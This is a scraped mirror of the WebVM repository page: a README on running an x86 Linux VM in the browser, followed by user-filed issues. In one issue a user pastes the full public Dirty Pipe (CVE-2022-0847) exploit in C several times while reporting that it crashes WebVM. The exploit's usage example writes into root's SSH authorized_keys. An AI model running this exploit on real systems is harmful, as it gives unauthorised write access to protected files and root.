Giter Club home page Giter Club logo

webvm's Introduction

WebVM

Discord server Issues

This repository hosts the source code for https://webvm.io, a Linux virtual machine that runs in your browser.

WebVM is a server-less virtual environment running fully client-side in HTML5/WebAssembly. It's designed to be Linux ABI-compatible. It runs an unmodified Debian distribution including many native development toolchains.

WebVM is powered by the CheerpX virtualization engine, and enables safe, sandboxed client-side execution of x86 binaries on any browser. CheerpX includes an x86-to-WebAssembly JIT compiler, a virtual block-based file system, and a Linux syscall emulator.

Enable networking

  • Click "Connect via Tailscale" in the page header.
  • Log in to Tailscale (create an account if you don't have one).
  • If you are unfamiliar with Tailscale or would like additional information see WebVM and Tailscale.

Fork, deploy, customize

deploy_instructions_gif

  • Fork the repository.
  • Enable Github pages in settings.
    • Click on Settings.
    • Go to the Pages section.
    • Select Github Actions as the source.
  • Run the workflow.
    • Click on Actions.
    • Accept the prompt. This is required only once to enable Actions for your fork.
    • Click on the workflow named Deploy.
    • Click Run workflow and then once more Run workflow in the menu.
  • After a few seconds a new Deploy workflow will start, click on it to see details.
  • After the workflow completes, which takes a few minutes, it will show the URL below the deploy_to_github_pages job.

You can now customize dockerfiles/debian_mini to suits your needs, or make a new Dockerfile from scratch. Use the Path to Dockerfile workflow parameter to select it.

Local deployment

From a local git clone

  • Download the debian_mini Ext2 image from https://github.com/leaningtech/webvm/releases/.
    • You can also build your own by selecting the "Upload GitHub release" workflow option.
    • Place the image in the repository root folder.
  • Edit index.html.
    • Uncomment the default values for CMD, ARGS, ENV and CWD.
    • Replace DEVICE_TYPE with "bytes".
    • Replace IMAGE_URL with the name of the Ext2 image. For example "debian_mini_20230519_5022088024.ext2".
  • Start a local HTTP server.
  • Enjoy your local WebVM.

Example customization: Python3 REPL

The Deploy workflow takes into account the CMD specified in the Dockerfile. To build a REPL you can simply apply this patch and deploy.

diff --git a/dockerfiles/debian_mini b/dockerfiles/debian_mini
index 2878332..1f3103a 100644
--- a/dockerfiles/debian_mini
+++ b/dockerfiles/debian_mini
@@ -15,4 +15,4 @@ WORKDIR /home/user/
 # We set env, as this gets extracted by Webvm. This is optional.
 ENV HOME="/home/user" TERM="xterm" USER="user" SHELL="/bin/bash" EDITOR="vim" LANG="en_US.UTF-8" LC_ALL="C"
 RUN echo 'root:password' | chpasswd
-CMD [ "/bin/bash" ]
+CMD [ "/usr/bin/python3" ]

Bugs and Issues

Please use Issues to report any bug. Or come to say hello / share your feedback on Discord.

More links

Thanks to...

This project depends on:

Versioning

WebVM depends on the CheerpX x86-to-WebAssembly virtualization technology. A link to the current latest build is always available at https://cheerpxdemos.leaningtech.com/publicdeploy/LATEST.txt. Builds of CheerpX are immutable and uniquely versioned. An example link would be:

https://cheerpxdemos.leaningtech.com/publicdeploy/20230517_94/cx.js

We strongly encourage users not to use the latest build. Please directly use a specific build to avoid unexpected regressions. Since builds are immutable, if they work for you now they will keep working forever.

License

WebVM is released under the Apache License, Version 2.0.

You are welcome to use, modify, and redistribute the contents of this repository.

The public CheerpX deployment is provided as-is and is free to use for technological exploration, testing and non-commercial uses. Downloading a CheerpX build for the purpose of hosting it elsewhere is not permitted.

If you want to build a product on top of CheerpX/WebVM, please get in touch: [email protected]

webvm's People

Contributors

alexp-sssup avatar bates64 avatar carlopi avatar epanholz avatar phaleth avatar saarikoski-jules avatar sderossi avatar sere avatar thegamer1002 avatar windleaf233 avatar yuri91 avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

webvm's Issues

`which which` fails

user@:~$ which which
bash: /usr/bin/which: /bin/sh: bad interpreter: Invalid argument

Is this any different from jslinux?

jslinux

I integrated node(v14.8.0) to jslinux "riscv64-Fedora 33 (Linux)-Console",Same problem with WebVM, such as fs slow to load, high memory usage, DNS getaddrinfo EAI_AGAIN error...

image

Unable to get network to run

Hey :)
This looks pretty amazing! 😍

Would love to try the feasibility of running a demo of an app inside webvm (automatically installed via nix), but don't manage to get network support working.

I set up my laptop as exit node in tailscale:
image

and logged in to tailscale via webvm.io - but I don't get network to work:

Screenshot from 2023-03-10 23-19-53

Also found something related to webvm IP happening in tailscale console:

Accept: ICMPv4{100.119.232.97:0 > 100.103.154.203:0} 93 ok out
Accept: ICMPv4{100.119.232.97:0 > 100.103.154.203:0} 72 ok out

other question:

And while I'm already asking questions: How likely is it that the core feature (a shell with networking) will be open source?

getaddrinfo doesn't work with an Alpine image

Using Mini.WebVM and this Dockerfile: https://github.com/mattx433/webvm/blob/main/dockerfiles/alpine getaddrinfo fails with various programs:

:~$ curl 1.1.1.1
<html>
<head><title>301 Moved Permanently</title></head>
<body>
<center><h1>301 Moved Permanently</h1></center>
<hr><center>cloudflare</center>
</body>
</html>
:~$ curl httpbin.org/get
curl: (6) Could not resolve host: httpbin.org
:~$ 
:~$ python3
Python 3.11.3 (main, May 10 2023, 12:26:31) [GCC 12.2.1 20220924] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from urllib.request import urlopen
>>> a = urllib.request.urlopen("http://httpbin.org/get")
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
NameError: name 'urllib' is not defined
>>> a = urlopen("http://httpbin.org/get")               
Traceback (most recent call last):
  File "/usr/lib/python3.11/urllib/request.py", line 1348, in do_open
    h.request(req.get_method(), req.selector, req.data, headers,
  File "/usr/lib/python3.11/http/client.py", line 1283, in request
    self._send_request(method, url, body, headers, encode_chunked)
  File "/usr/lib/python3.11/http/client.py", line 1329, in _send_request
    self.endheaders(body, encode_chunked=encode_chunked)
  File "/usr/lib/python3.11/http/client.py", line 1278, in endheaders
    self._send_output(message_body, encode_chunked=encode_chunked)
  File "/usr/lib/python3.11/http/client.py", line 1038, in _send_output
    self.send(msg)
  File "/usr/lib/python3.11/http/client.py", line 976, in send
    self.connect()
  File "/usr/lib/python3.11/http/client.py", line 942, in connect
    self.sock = self._create_connection(
                ^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3.11/socket.py", line 827, in create_connection
    for res in getaddrinfo(host, port, 0, SOCK_STREAM):
               ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3.11/socket.py", line 962, in getaddrinfo
    for res in _socket.getaddrinfo(host, port, family, type, proto, flags):
               ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
socket.gaierror: [Errno -3] Try again
[snip]

Commands to reproduce:

  • curl httpbin.org/get
  • python3 -c 'import socket; socket.getaddrinfo("httpbin.org", "80")'
  • python3 -c 'import urllib.request; urllib.request.urlopen("http://httpbin.org/get")'

SharedArrayBuffer not available (even though it is)?

Neat demo! I noticed that it works for me on webvm.io, but if I run it myself from source code (e.g. with python -m http.server) it fails on the SharedArrayBuffer test. So my browser does support that feature, but something is preventing it from working. What gives?

allow alternative network proxies?

tailscale requires you to set up another device, AND sign in, to use it, perhaps a low-priority feature suggestion could be e.g. a websocket -> TCP proxy, which could be done using e.g. https://github.com/zquestz/ws-tcp-proxy (there's a lot of options for various proxies, I've not checked if this particular one is suitable)

also, perhaps easier: allow running our OWN tailscale network, using https://github.com/juanfont/headscale which would allow using a fully self-hosted tailscale network (it has an embedded DERP server), it's perfectly fine to default to normal tailscale, but it'd be very nice to have an option to not depend on other services, so you could run it e.g. completely offline, but be able to access your LAN, for example

there's a lot of options, but websocket -> tcp, or self-hosted tailscale network, are the first ones that come to mind (it's understandable you don't want responsibility for everyone's traffic, but also, why should we be required to trust a random third-party company, to get basic networking? not to mention the requirement to have a desktop or server that you can install tailscale onto, to HAVE any networking)

which git fails due to shebang

Running which git fails:

user@:~$ which git
bash: /usr/bin/which: /bin/sh: bad interpreter: Invalid argument

This appears to be because #! /bin/sh (in which) is not recognized as a valid shebang. While it is very common to omit a space after the #!, spaces have been permitted since Unix Version 8, and Linux allows them.

Any hosting/installation instructions?

It seems like the code in the repo cannot be directly hosted on a web server in its current state.

A number of spots in the code hard-code the URL https://cheerpxdemos.leaningtech.com/publicdeploy/CX_VERSION/cx.js, but this is not actually a working URL – it gives an HTTP 404 error. For instance, one spot where it occurs is:

var cxFile = "https://cheerpxdemos.leaningtech.com/publicdeploy/CX_VERSION/cx.js";

which was introduced in commit 1e5b9bc.

Presumably, the "CX_VERSION" should be replaced by a valid version number (e.g. 20221125, which was what commit 1e5b9bc replaced, or 20230116, which is what the version deployed at https://webvm.io/ currently uses).

Perhaps you could include a mention of this in the README, and suggest where people might find valid version numbers?

(Also, if the above bug is fixed, by e.g. running sed -i 's/CX_VERSION/20230116/g' *.html, then the getSharedArrayBufferMissingMessage in index.html seems to be wrongly triggered:

getSharedArrayBufferMissingMessage: function ()

But I'll report that as a separate issue.)

Attempting to cd into files works, and breaks current working directory display

Calling cd with a file argument (rather than a directory) works, which is unexpected. It also seems to break the current working directory display if you try to cd out of it afterwards:

user@:~/examples/nodejs$ cd nbody.js 
user@:~/examples/nodejs/nbody.js$ ls
ls: cannot open directory '.': Not a directory
user@:~/examples/nodejs/nbody.js$ cd ../
user@:~/examples/nodejs/nbody.js/../$ ls
environment.js  nbody.js  primes.js  test.js  wasm.js
user@:~/examples/nodejs/nbody.js/../$

Mobile app wrapper

This is not the same as #47

The idea would be to use this to have a linux terminal app running locally on a mobile device, similar to Termux on android but more isolated.

https://dirtypipe.cm4all.com/ exploit crashes webvm

Console log:

Welcome. We appreciate curiosity, but be warned that keeping the DevTools open causes significant performance degradation and crashes.
xterm.js:1 [Violation] 'requestAnimationFrame' handler took 103ms
xterm.js:1 [Violation] 'requestAnimationFrame' handler took 108ms
cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
9The resource <URL> was preloaded using link preload but not used within a few seconds from the window's load event. Please make sure it has an appropriate `as` value and it is preloaded intentionally.
4cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5410
2cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
cxcore.js:1 TODO: CONSOLE IOCTL 5410
2cxcore.js:1 TODO: CONSOLE IOCTL 5410
2cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
cxcore.js:1 TODO: CONSOLE IOCTL 5410
2cxcore.js:1 TODO: CONSOLE IOCTL 5410
2cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5410
2cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5410
2cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5410
2cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
cxcore.js:1 TODO: CONSOLE IOCTL 5410
3cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
4cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
4cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
xterm.js:1 [Violation] 'requestAnimationFrame' handler took 81ms
4cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5410
2cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5410
2cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5410
2cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5410
2cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5410
cx.js:1 [Violation] 'load' handler took 202ms
2cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
4cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
4cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5410
2cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 Fault addr 0, ip 5555c092, tid 31
cxcore.js:1 Fault from Inode 23521
xterm.js:1 [Violation] 'blur' handler took 333ms

Terminal output:

                        __      __   _  __   ____  __       
                        \ \    / /__| |_\ \ / /  \/  | 
                         \ \/\/ / -_) '_ \ V /| |\/| | 
                          \_/\_/\___|_.__/\_/ |_|  |_|  


 +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~+
 |                                                                            |
 | WebVM is a server-less virtual Linux environment running fully client-side |
 | in HTML5/WebAssembly.                                                      |
 |                                                                            |
 | In this demo, it runs an unmodified Debian distribution including many     |
 | native development toolchains.                                             |
 |                                                                            |
 | WebVM is powered by the CheerpX virtualization engine, and enables safe,   |
 | sandboxed client-side execution of x86 binaries on any browser.            |
 |                                                                            |
 | CheerpX includes an x86-to-WebAssembly JIT compiler, a virtual block-based |
 | file system, and a Linux syscall emulator.                                 |
 |                                                                            |
 | For more information: https://medium.com/p/40a60170b361                    |
 |                                                                            |
 | GitHub  |  Issues  |  Gitter  |  Twitter  |  Latest News  |  About CheerpX |
 |                                                                            |
 +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~+

   Welcome to WebVM (build 20220726). If unsure, try these examples:

     python3 examples/python3/fibonacci.py 
     gcc -o helloworld examples/c/helloworld.c && ./helloworld
     objdump -d ./helloworld | less -M
     vim examples/c/helloworld.c

user@:~$ ls
examples  test.c
user@:~$ cat test.c 
/* SPDX-License-Identifier: GPL-2.0 */
/*
 * Copyright 2022 CM4all GmbH / IONOS SE
 *
 * author: Max Kellermann <[email protected]>
 *
 * Proof-of-concept exploit for the Dirty Pipe
 * vulnerability (CVE-2022-0847) caused by an uninitialized
 * "pipe_buffer.flags" variable.  It demonstrates how to overwrite any
 * file contents in the page cache, even if the file is not permitted
 * to be written, immutable or on a read-only mount.
 *
 * This exploit requires Linux 5.8 or later; the code path was made
 * reachable by commit f6dd975583bd ("pipe: merge
 * anon_pipe_buf*_ops").  The commit did not introduce the bug, it was
 * there before, it just provided an easy way to exploit it.
 *
 * There are two major limitations of this exploit: the offset cannot
 * be on a page boundary (it needs to write one byte before the offset
 * to add a reference to this page to the pipe), and the write cannot
 * cross a page boundary.
 *
 * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
 *
 * Further explanation: https://dirtypipe.cm4all.com/
 */

#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>

#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif

/**
 * Create a pipe where all "bufs" on the pipe_inode_info ring have the
 * PIPE_BUF_FLAG_CAN_MERGE flag set.
 */
static void prepare_pipe(int p[2])
{
        if (pipe(p)) abort();

        const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
        static char buffer[4096];

        /* fill the pipe completely; each pipe_buffer will now have
           the PIPE_BUF_FLAG_CAN_MERGE flag */
        for (unsigned r = pipe_size; r > 0;) {
                unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
                write(p[1], buffer, n);
                r -= n;
        }

        /* drain the pipe, freeing all pipe_buffer instances (but
           leaving the flags initialized) */
        for (unsigned r = pipe_size; r > 0;) {
                unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
                read(p[0], buffer, n);
                r -= n;
        }

        /* the pipe is now empty, and if somebody adds a new
           pipe_buffer without initializing its "flags", the buffer
           will be mergeable */
}

int main(int argc, char **argv)
{
        if (argc != 4) {
                fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv[0]);
                return EXIT_FAILURE;
        }

        /* dumb command-line argument parser */
        const char *const path = argv[1];
        loff_t offset = strtoul(argv[2], NULL, 0);
        const char *const data = argv[3];
        const size_t data_size = strlen(data);

        if (offset % PAGE_SIZE == 0) {
                fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
                return EXIT_FAILURE;
        }

        const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
        const loff_t end_offset = offset + (loff_t)data_size;
        if (end_offset > next_page) {
                fprintf(stderr, "Sorry, cannot write across a page boundary\n");
                return EXIT_FAILURE;
        }

        /* open the input file and validate the specified offset */
        const int fd = open(path, O_RDONLY); // yes, read-only! :-)
        if (fd < 0) {
                perror("open failed");
                return EXIT_FAILURE;
        }

        struct stat st;
        if (fstat(fd, &st)) {
                perror("stat failed");
                return EXIT_FAILURE;
        }

        if (offset > st.st_size) {
                fprintf(stderr, "Offset is not inside the file\n");
                return EXIT_FAILURE;
        }

        if (end_offset > st.st_size) {
                fprintf(stderr, "Sorry, cannot enlarge the file\n");
                return EXIT_FAILURE;
        }

        /* create the pipe with all flags initialized with
           PIPE_BUF_FLAG_CAN_MERGE */
        int p[2];
        prepare_pipe(p);

        /* splice one byte from before the specified offset into the
           pipe; this will add a reference to the page cache, but
           since copy_page_to_iter_pipe() does not initialize the
           "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
        --offset;
        ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
        if (nbytes < 0) {
                perror("splice failed");
                return EXIT_FAILURE;
        }
        if (nbytes == 0) {
                fprintf(stderr, "short splice\n");
                return EXIT_FAILURE;
        }

        /* the following write will not create a new pipe_buffer, but
           will instead write into the page cache, because of the
           PIPE_BUF_FLAG_CAN_MERGE flag */
        nbytes = write(p[1], data, data_size);
        if (nbytes < 0) {
                perror("write failed");
                return EXIT_FAILURE;
        }
        if ((size_t)nbytes < data_size) {
                fprintf(stderr, "short write\n");
                return EXIT_FAILURE;
        }

        printf("It worked!\n");
        return EXIT_SUCCESS;
}
d
user@:~$ cat test.c | wc --help
Usage: wc [OPTION]... [FILE]...
  or:  wc [OPTION]... --files0-from=F
Print newline, word, and byte counts for each FILE, and a total line if
more than one FILE is specified.  A word is a non-zero-length sequence of
characters delimited by white space.

With no FILE, or when FILE is -, read standard input.

The options below may be used to select which counts are printed, always in
the following order: newline, word, character, byte, maximum line length.
  -c, --bytes            print the byte counts
  -m, --chars            print the character counts
  -l, --lines            print the newline counts
      --files0-from=F    read input from the files specified by
                           NUL-terminated names in file F;
                           If F is - then read names from standard input
  -L, --max-line-length  print the maximum display width
  -w, --words            print the word counts
      --help     display this help and exit
      --version  output version information and exit

GNU coreutils online help: <https://www.gnu.org/software/coreutils/>
Report wc translation bugs to <https://translationproject.org/team/>
Full documentation at: <https://www.gnu.org/software/coreutils/wc>
or available locally via: info '(coreutils) wc invocation'
user@:~$ cat test.c | wc --lines
157
user@:~$ cat test.c | head -n 156
/* SPDX-License-Identifier: GPL-2.0 */
/*
 * Copyright 2022 CM4all GmbH / IONOS SE
 *
 * author: Max Kellermann <[email protected]>
 *
 * Proof-of-concept exploit for the Dirty Pipe
 * vulnerability (CVE-2022-0847) caused by an uninitialized
 * "pipe_buffer.flags" variable.  It demonstrates how to overwrite any
 * file contents in the page cache, even if the file is not permitted
 * to be written, immutable or on a read-only mount.
 *
 * This exploit requires Linux 5.8 or later; the code path was made
 * reachable by commit f6dd975583bd ("pipe: merge
 * anon_pipe_buf*_ops").  The commit did not introduce the bug, it was
 * there before, it just provided an easy way to exploit it.
 *
 * There are two major limitations of this exploit: the offset cannot
 * be on a page boundary (it needs to write one byte before the offset
 * to add a reference to this page to the pipe), and the write cannot
 * cross a page boundary.
 *
 * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
 *
 * Further explanation: https://dirtypipe.cm4all.com/
 */

#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>

#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif

/**
 * Create a pipe where all "bufs" on the pipe_inode_info ring have the
 * PIPE_BUF_FLAG_CAN_MERGE flag set.
 */
static void prepare_pipe(int p[2])
{
        if (pipe(p)) abort();

        const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
        static char buffer[4096];

        /* fill the pipe completely; each pipe_buffer will now have
           the PIPE_BUF_FLAG_CAN_MERGE flag */
        for (unsigned r = pipe_size; r > 0;) {
                unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
                write(p[1], buffer, n);
                r -= n;
        }

        /* drain the pipe, freeing all pipe_buffer instances (but
           leaving the flags initialized) */
        for (unsigned r = pipe_size; r > 0;) {
                unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
                read(p[0], buffer, n);
                r -= n;
        }

        /* the pipe is now empty, and if somebody adds a new
           pipe_buffer without initializing its "flags", the buffer
           will be mergeable */
}

int main(int argc, char **argv)
{
        if (argc != 4) {
                fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv[0]);
                return EXIT_FAILURE;
        }

        /* dumb command-line argument parser */
        const char *const path = argv[1];
        loff_t offset = strtoul(argv[2], NULL, 0);
        const char *const data = argv[3];
        const size_t data_size = strlen(data);

        if (offset % PAGE_SIZE == 0) {
                fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
                return EXIT_FAILURE;
        }

        const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
        const loff_t end_offset = offset + (loff_t)data_size;
        if (end_offset > next_page) {
                fprintf(stderr, "Sorry, cannot write across a page boundary\n");
                return EXIT_FAILURE;
        }

        /* open the input file and validate the specified offset */
        const int fd = open(path, O_RDONLY); // yes, read-only! :-)
        if (fd < 0) {
                perror("open failed");
                return EXIT_FAILURE;
        }

        struct stat st;
        if (fstat(fd, &st)) {
                perror("stat failed");
                return EXIT_FAILURE;
        }

        if (offset > st.st_size) {
                fprintf(stderr, "Offset is not inside the file\n");
                return EXIT_FAILURE;
        }

        if (end_offset > st.st_size) {
                fprintf(stderr, "Sorry, cannot enlarge the file\n");
                return EXIT_FAILURE;
        }

        /* create the pipe with all flags initialized with
           PIPE_BUF_FLAG_CAN_MERGE */
        int p[2];
        prepare_pipe(p);

        /* splice one byte from before the specified offset into the
           pipe; this will add a reference to the page cache, but
           since copy_page_to_iter_pipe() does not initialize the
           "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
        --offset;
        ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
        if (nbytes < 0) {
                perror("splice failed");
                return EXIT_FAILURE;
        }
        if (nbytes == 0) {
                fprintf(stderr, "short splice\n");
                return EXIT_FAILURE;
        }

        /* the following write will not create a new pipe_buffer, but
           will instead write into the page cache, because of the
           PIPE_BUF_FLAG_CAN_MERGE flag */
        nbytes = write(p[1], data, data_size);
        if (nbytes < 0) {
                perror("write failed");
                return EXIT_FAILURE;
        }
        if ((size_t)nbytes < data_size) {
                fprintf(stderr, "short write\n");
                return EXIT_FAILURE;
        }

        printf("It worked!\n");
        return EXIT_SUCCESS;
}
user@:~$ cat test.c | head -n 156 > test2.c
user@:~$ cat test2.c 
/* SPDX-License-Identifier: GPL-2.0 */
/*
 * Copyright 2022 CM4all GmbH / IONOS SE
 *
 * author: Max Kellermann <[email protected]>
 *
 * Proof-of-concept exploit for the Dirty Pipe
 * vulnerability (CVE-2022-0847) caused by an uninitialized
 * "pipe_buffer.flags" variable.  It demonstrates how to overwrite any
 * file contents in the page cache, even if the file is not permitted
 * to be written, immutable or on a read-only mount.
 *
 * This exploit requires Linux 5.8 or later; the code path was made
 * reachable by commit f6dd975583bd ("pipe: merge
 * anon_pipe_buf*_ops").  The commit did not introduce the bug, it was
 * there before, it just provided an easy way to exploit it.
 *
 * There are two major limitations of this exploit: the offset cannot
 * be on a page boundary (it needs to write one byte before the offset
 * to add a reference to this page to the pipe), and the write cannot
 * cross a page boundary.
 *
 * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
 *
 * Further explanation: https://dirtypipe.cm4all.com/
 */

#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>

#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif

/**
 * Create a pipe where all "bufs" on the pipe_inode_info ring have the
 * PIPE_BUF_FLAG_CAN_MERGE flag set.
 */
static void prepare_pipe(int p[2])
{
        if (pipe(p)) abort();

        const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
        static char buffer[4096];

        /* fill the pipe completely; each pipe_buffer will now have
           the PIPE_BUF_FLAG_CAN_MERGE flag */
        for (unsigned r = pipe_size; r > 0;) {
                unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
                write(p[1], buffer, n);
                r -= n;
        }

        /* drain the pipe, freeing all pipe_buffer instances (but
           leaving the flags initialized) */
        for (unsigned r = pipe_size; r > 0;) {
                unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
                read(p[0], buffer, n);
                r -= n;
        }

        /* the pipe is now empty, and if somebody adds a new
           pipe_buffer without initializing its "flags", the buffer
           will be mergeable */
}

int main(int argc, char **argv)
{
        if (argc != 4) {
                fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv[0]);
                return EXIT_FAILURE;
        }

        /* dumb command-line argument parser */
        const char *const path = argv[1];
        loff_t offset = strtoul(argv[2], NULL, 0);
        const char *const data = argv[3];
        const size_t data_size = strlen(data);

        if (offset % PAGE_SIZE == 0) {
                fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
                return EXIT_FAILURE;
        }

        const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
        const loff_t end_offset = offset + (loff_t)data_size;
        if (end_offset > next_page) {
                fprintf(stderr, "Sorry, cannot write across a page boundary\n");
                return EXIT_FAILURE;
        }

        /* open the input file and validate the specified offset */
        const int fd = open(path, O_RDONLY); // yes, read-only! :-)
        if (fd < 0) {
                perror("open failed");
                return EXIT_FAILURE;
        }

        struct stat st;
        if (fstat(fd, &st)) {
                perror("stat failed");
                return EXIT_FAILURE;
        }

        if (offset > st.st_size) {
                fprintf(stderr, "Offset is not inside the file\n");
                return EXIT_FAILURE;
        }

        if (end_offset > st.st_size) {
                fprintf(stderr, "Sorry, cannot enlarge the file\n");
                return EXIT_FAILURE;
        }

        /* create the pipe with all flags initialized with
           PIPE_BUF_FLAG_CAN_MERGE */
        int p[2];
        prepare_pipe(p);

        /* splice one byte from before the specified offset into the
           pipe; this will add a reference to the page cache, but
           since copy_page_to_iter_pipe() does not initialize the
           "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
        --offset;
